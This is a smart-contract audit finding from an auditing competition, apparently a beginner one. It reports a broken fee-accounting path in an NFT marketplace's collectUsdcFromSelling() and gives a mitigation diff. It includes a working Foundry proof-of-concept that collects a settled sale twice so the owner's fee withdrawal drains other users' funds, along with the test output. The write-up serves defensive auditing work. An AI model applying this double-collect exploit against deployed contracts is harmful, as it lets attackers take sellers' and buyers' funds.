NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Self-transfer in collectUsdcFromSelling() breaks fee accounting

Author Revealed upon completion

Description

  • In the intended settlement flow, a buyer’s USDC payment already sits inside the contract immediately after buy(), and the seller should later receive only price - fees + collateral, while the fee portion should remain inside the contract as protocol profit available for withdrawFees(). In other words, no extra ERC20 transfer is needed to “move” the fee into the contract, because the fee is already there.

  • The issue is that collectUsdcFromSelling() still performs usdc.safeTransfer(address(this), fees), which is a self-transfer and therefore economically a no-op, yet the function also increments totalFeesCollected += fees. In the happy path, this only wastes gas; however, because withdrawFees() later trusts totalFeesCollected as the authoritative amount of withdrawable protocol profit, any invalid or duplicate execution of collectUsdcFromSelling() can inflate totalFeesCollected without a corresponding isolated fee reserve. As a result, withdrawFees() can end up withdrawing funds that are still needed to settle other users rather than true protocol profit.

function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
​
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price); // @> buyer payment already enters contract here
require(success, "USDC transfer failed");
​
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees; // @> accounting is increased here
amountToSeller += collateralToReturn;
​
usdc.safeTransfer(address(this), fees); // @> self-transfer: fee already resides in the contract
usdc.safeTransfer(msg.sender, amountToSeller);
}
​
function withdrawFees() external onlyOwner {
require(totalFeesCollected > 0, "No fees to withdraw");
uint256 amount = totalFeesCollected; // @> trusts the accumulator as withdrawable profit
totalFeesCollected = 0;
usdc.safeTransfer(owner, amount);
emit NFT_Dealers_Fees_Withdrawn(amount);
}

Risk

Likelihood: High

  • This occurs whenever collectUsdcFromSelling() is executed in an invalid or duplicate way, because each execution increments totalFeesCollected even though the contract never segregates fees from other pooled USDC balances.

  • This occurs during normal fee withdrawal because withdrawFees() always trusts totalFeesCollected and does not verify that the amount corresponds to funds actually reserved as protocol profit rather than other users’ unsettled balances.

Impact: High

  • The owner can withdraw USDC that the contract labels as “fees” even when part of that amount is actually sourced from other users’ collateral or unsettled sale proceeds rather than legitimate protocol profit.

  • Honest sellers can be left unable to collect from completed sales because withdrawFees() can drain the pooled balance based on an overtrusted accounting accumulator instead of a truly isolated fee reserve.

Proof of Concept

  • Add import {console2} from "forge-std/console2.sol"; at the top of NFTDealersTest.t.sol.

  • Copy the code below to NFTDealersTest contract.

  • Run command forge test --mt testSelfTransferInCollectUsdcFromSellingBreaksFeeAccounting -vv --via-ir.

function testSelfTransferInCollectUsdcFromSellingBreaksFeeAccounting() public revealed whitelisted {
address attacker = userWithCash;
address buyer = userWithEvenMoreCash;
address honestSeller = makeAddr("honestSeller");
uint32 salePrice = 1000e6;
​
// Whitelist and fund the honest seller for the second, unrelated sale
usdc.mint(honestSeller, 20e6);
vm.prank(owner);
nftDealers.whitelistWallet(honestSeller);
​
uint256 feePerSale = nftDealers.calculateFees(salePrice);
uint256 attackerPayoutPerCollect = uint256(salePrice) + nftDealers.lockAmount() - feePerSale;
​
console2.log("feePerSale:", feePerSale);
console2.log("attackerPayoutPerCollect:", attackerPayoutPerCollect);
​
// ------------------------------------------------------------
// Phase 1: attacker performs one legitimate sale of token #1
// ------------------------------------------------------------
mintAndListNFTForTesting(1, salePrice);
​
vm.startPrank(buyer);
usdc.approve(address(nftDealers), salePrice);
nftDealers.buy(1);
vm.stopPrank();
​
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(1);
​
console2.log("After first legitimate collect - totalFeesCollected:", nftDealers.totalFeesCollected());
console2.log("After first legitimate collect - contract USDC balance:", usdc.balanceOf(address(nftDealers)));
​
assertEq(nftDealers.totalFeesCollected(), feePerSale, "sanity: one legitimate collect books one fee");
assertEq(
usdc.balanceOf(address(nftDealers)), feePerSale, "sanity: contract retains one fee after first collect"
);
​
// ------------------------------------------------------------
// Phase 2: unrelated honest seller performs a new sale of token #2
// Contract now holds honest seller's collateral + honest buyer payment + old fee.
// ------------------------------------------------------------
vm.startPrank(honestSeller);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft(); // tokenId 2
nftDealers.list(2, salePrice);
vm.stopPrank();
​
vm.startPrank(buyer);
usdc.approve(address(nftDealers), salePrice);
nftDealers.buy(2);
vm.stopPrank();
​
uint256 contractBalanceBeforeBogusCollect = usdc.balanceOf(address(nftDealers));
console2.log("Before bogus second collect - contract USDC balance:", contractBalanceBeforeBogusCollect);
console2.log("Before bogus second collect - totalFeesCollected:", nftDealers.totalFeesCollected());
​
assertEq(
contractBalanceBeforeBogusCollect,
feePerSale + nftDealers.lockAmount() + salePrice,
"sanity: pooled balance contains old fee plus honest seller funds"
);
​
// ------------------------------------------------------------
// Phase 3: attacker illegitimately collects AGAIN from the already-settled sale #1
// This increments totalFeesCollected a second time.
// ------------------------------------------------------------
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(1);
​
uint256 contractBalanceAfterBogusCollect = usdc.balanceOf(address(nftDealers));
uint256 totalFeesAfterBogusCollect = nftDealers.totalFeesCollected();
​
console2.log("After bogus second collect - contract USDC balance:", contractBalanceAfterBogusCollect);
console2.log("After bogus second collect - totalFeesCollected:", totalFeesAfterBogusCollect);
​
assertEq(totalFeesAfterBogusCollect, feePerSale * 2, "BUG: fee accumulator increased again for the same sale");
assertEq(
contractBalanceAfterBogusCollect,
feePerSale * 2,
"contract now holds 20e6, but half of it came from pooled user funds rather than fresh protocol profit"
);
​
// ------------------------------------------------------------
// Phase 4: owner withdraws the inflated "fee" amount
// ------------------------------------------------------------
uint256 ownerUsdcBefore = usdc.balanceOf(owner);
​
vm.prank(owner);
nftDealers.withdrawFees();
​
uint256 ownerUsdcAfter = usdc.balanceOf(owner);
uint256 contractBalanceAfterWithdraw = usdc.balanceOf(address(nftDealers));
​
console2.log("Owner USDC before withdrawFees():", ownerUsdcBefore);
console2.log("Owner USDC after withdrawFees():", ownerUsdcAfter);
console2.log("Contract USDC after withdrawFees():", contractBalanceAfterWithdraw);
​
assertEq(
ownerUsdcAfter - ownerUsdcBefore,
feePerSale * 2,
"BUG: owner withdrew 20e6 as 'fees' even though only 10e6 came from the first settled sale"
);
assertEq(contractBalanceAfterWithdraw, 0, "contract drained by fee withdrawal");
​
// ------------------------------------------------------------
// Phase 5: honest seller can no longer settle token #2
// ------------------------------------------------------------
vm.startPrank(honestSeller);
// Reverts with ERC20InsufficientBalance because the contract no longer has the honest seller's collateral or the buyer's payment to settle with.
vm.expectRevert();
nftDealers.collectUsdcFromSelling(2);
vm.stopPrank();
​
console2.log("Honest seller could not collect USDC for token #2 after owner withdrew inflated fees");
}

Output:

[⠊] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/NFTDealersTest.t.sol:NFTDealersTest
[PASS] testSelfTransferInCollectUsdcFromSellingBreaksFeeAccounting() (gas: 815412)
Logs:
feePerSale: 10000000
attackerPayoutPerCollect: 1010000000
After first legitimate collect - totalFeesCollected: 10000000
After first legitimate collect - contract USDC balance: 10000000
Before bogus second collect - contract USDC balance: 1030000000
Before bogus second collect - totalFeesCollected: 10000000
After bogus second collect - contract USDC balance: 20000000
After bogus second collect - totalFeesCollected: 20000000
Owner USDC before withdrawFees(): 0
Owner USDC after withdrawFees(): 20000000
Contract USDC after withdrawFees(): 0
Honest seller could not collect USDC for token #2 after owner withdrew inflated fees
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.57ms (2.28ms CPU time)
​
Ran 1 test suite in 17.57ms (5.57ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

  • The contract should remove the misleading self-transfer and stop treating totalFeesCollected as a sufficient proof that those funds are safely withdrawable.

  • The larger fix is to ensure that seller collection can happen only once for genuinely sold listings and that fee accounting reflects only finalized, isolated protocol profit.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.wasSold, "Listing was not sold");
+ require(!listing.proceedsClaimed, "Proceeds already claimed");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ s_listings[_listingId].proceedsClaimed = true;
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
​
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!